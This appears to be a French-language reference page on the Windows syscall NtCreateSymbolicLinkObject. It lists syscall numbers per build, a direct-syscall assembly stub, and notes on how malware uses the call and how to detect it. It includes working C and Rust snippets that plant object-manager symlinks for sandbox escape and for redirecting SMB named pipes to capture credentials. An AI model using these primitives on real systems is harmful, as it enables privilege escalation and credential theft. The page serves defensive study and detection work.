NtCreateSymbolicLinkObject
Crée un lien symbolique d'object manager d'un nom vers une chaîne cible NT arbitraire.
Prototype
NTSTATUS NtCreateSymbolicLinkObject( PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING LinkTarget );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| LinkHandle | PHANDLE | out | Reçoit le handle vers le nouvel objet lien symbolique. |
| DesiredAccess | ACCESS_MASK | in | Typiquement SYMBOLIC_LINK_ALL_ACCESS ou SYMBOLIC_LINK_QUERY. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Nom du lien, RootDirectory optionnel et drapeaux d'attribut. |
| LinkTarget | PUNICODE_STRING | in | Chemin NT cible vers lequel le lien se résout. Non validé — peut pointer n'importe où dans le namespace. |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xB2 | win10-1507 |
| Win10 1607 | 0xB5 | win10-1607 |
| Win10 1703 | 0xB8 | win10-1703 |
| Win10 1709 | 0xB9 | win10-1709 |
| Win10 1803 | 0xBA | win10-1803 |
| Win10 1809 | 0xBB | win10-1809 |
| Win10 1903 | 0xBC | win10-1903 |
| Win10 1909 | 0xBC | win10-1909 |
| Win10 2004 | 0xC0 | win10-2004 |
| Win10 20H2 | 0xC0 | win10-20h2 |
| Win10 21H1 | 0xC0 | win10-21h1 |
| Win10 21H2 | 0xC1 | win10-21h2 |
| Win10 22H2 | 0xC1 | win10-22h2 |
| Win11 21H2 | 0xC5 | win11-21h2 |
| Win11 22H2 | 0xC6 | win11-22h2 |
| Win11 23H2 | 0xC6 | win11-23h2 |
| Win11 24H2 | 0xC8 | win11-24h2 |
| Server 2016 | 0xB5 | winserver-2016 |
| Server 2019 | 0xBB | winserver-2019 |
| Server 2022 | 0xC4 | winserver-2022 |
| Server 2025 | 0xC8 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 C8 00 00 00 mov eax, 0xC8 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
SSN dérive de `0xB2` (1507) à `0xC8` (24H2) ; résoudre dynamiquement quand on cible plusieurs builds. Les symlinks de l'object manager sont totalement distincts des symlinks NTFS / reparse points — ils vivent dans le namespace objet en mémoire et sont évalués paresseusement à la résolution de nom. Les lettres DOS standards qu'on voit dans Explorer (`C:`, `D:`) sont en fait des liens symboliques `\\??\\C: -> \\Device\\HarddiskVolume3` plantés par Session Manager. Créer des liens dans le `\\??` par session ne demande normalement que DIRECTORY_CREATE_OBJECT sur ce répertoire (non privilégié depuis une session interactive normale) ; créer dans `\\GLOBAL??` ou avec OBJ_PERMANENT demande SeCreateSymbolicLinkPrivilege (par défaut pour les admins).
Usage courant par les malwares
La primitive offensive phare pour **l'évasion de sandbox** : planter `\\??\\X -> \\??\\C:` (ou n'importe quoi) dans le répertoire DOS device par session et tout lookup ultérieur qui touche le lien est redirigé. La famille CVE-2019-0808 a abusé exactement de ce schéma pour forcer des services privilégiés à écrire dans des emplacements contrôlés par l'attaquant. Combiné à `NtFsControlFile(FSCTL_SET_REPARSE_POINT)` pour la redirection au niveau NTFS (symboliclink-testing-tools de Forshaw), on obtient des chaînes complètes de redirection FS. Pilier des CTF car la primitive est à la portée non privilégiée de tout processus pouvant ouvrir `\\??` en CREATE_OBJECT. Variations modernes : `\\??\\NamedPipe\\...` (planter une redirection de pipe pour qu'un client SMB authentifié se connecte au pipe nommé de l'attaquant et divulgue ses credentials), et exposition `\\??\\GLOBALROOT\\Device\\...` (symlink par session qui contourne le filtre de chemin GLOBALROOT dans nombre de sandboxes).
Opportunités de détection
La création de symlink par un processus non système est rare et a une très forte valeur. Sysmon ne le loggue pas directement, mais **ObRegisterCallbacks côté noyau sur `IoSymbolicLinkObjectType`** capture chaque création à la source. Microsoft Defender for Endpoint a depuis ~2020 une règle comportementale qui flag les créations de symlink depuis des processus medium-IL vers `\\??` repointant vers `\\??\\C:` ou `\\Device\\Harddisk*`. ETW Microsoft-Windows-Kernel-Audit-API-Calls l'expose aussi. Signal le plus fort : **un processus non admin crée un symlink dont la cible commence par `\\Device\\`, `\\??\\GLOBALROOT\\` ou une autre lettre `\\??\\`** — ces schémas de redirection n'existent pratiquement pas dans du code légitime.
Exemples de syscalls directs
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtCreateSymbolicLinkObject (SSN 0xC8, Win11 24H2)
NtCreateSymbolicLinkObject PROC
mov r10, rcx ; syscall convention
mov eax, 0C8h ; SSN (BUILD-SPECIFIC, resolve dynamically)
syscall
ret
NtCreateSymbolicLinkObject ENDPcPlant \??\X -> \??\C: for path redirection
// Plant an object-manager symlink: \??\X -> \??\C:
// A subsequent CreateFile("X:\\Users\\victim\\...") will resolve through the
// link and hit the chosen target. Used as a stepping stone in CVE-2019-0808
// -style sandbox-escape chains.
#include <windows.h>
#include <winternl.h>
#define SYMBOLIC_LINK_ALL_ACCESS 0xF0001
#define OBJ_CASE_INSENSITIVE 0x00000040
typedef NTSTATUS (NTAPI *pNtCreateSymbolicLinkObject)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PUNICODE_STRING);
BOOL PlantDriveSymlink(WCHAR letter, PCWSTR target) {
pNtCreateSymbolicLinkObject NtCreateSymbolicLinkObject =
(pNtCreateSymbolicLinkObject)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtCreateSymbolicLinkObject");
WCHAR path[16];
swprintf_s(path, 16, L"\\??\\%lc", letter);
UNICODE_STRING usName; RtlInitUnicodeString(&usName, path);
UNICODE_STRING usTgt; RtlInitUnicodeString(&usTgt, target);
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hLink = NULL;
NTSTATUS s = NtCreateSymbolicLinkObject(
&hLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &usTgt);
return NT_SUCCESS(s);
}rustNamedPipe symlink for SMB credential capture
// Cargo: ntapi = "0.4", widestring = "1"
// Plant \??\PIPE\srvsvc -> \??\PIPE\attacker so that an authenticated SMB
// client connecting via UNC \\victim\IPC$\srvsvc lands on the attacker's pipe.
// Used in NTLM-relay and credential-coercion PoCs.
use ntapi::ntobapi::NtCreateSymbolicLinkObject;
use ntapi::ntrtl::RtlInitUnicodeString;
use winapi::shared::ntdef::{OBJECT_ATTRIBUTES, UNICODE_STRING};
use widestring::U16CString;
pub unsafe fn plant_pipe_symlink(name: &str, target: &str) -> bool {
let wn = U16CString::from_str(name).unwrap();
let wt = U16CString::from_str(target).unwrap();
let mut usn: UNICODE_STRING = std::mem::zeroed();
let mut ust: UNICODE_STRING = std::mem::zeroed();
RtlInitUnicodeString(&mut usn, wn.as_ptr());
RtlInitUnicodeString(&mut ust, wt.as_ptr());
let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
oa.ObjectName = &mut usn;
oa.Attributes = 0x40; // OBJ_CASE_INSENSITIVE
let mut h: isize = 0;
let s = NtCreateSymbolicLinkObject(&mut h as *mut _ as _, 0xF0001, &mut oa, &mut ust);
s >= 0
}Mappings MITRE ATT&CK
Last verified: 2026-05-20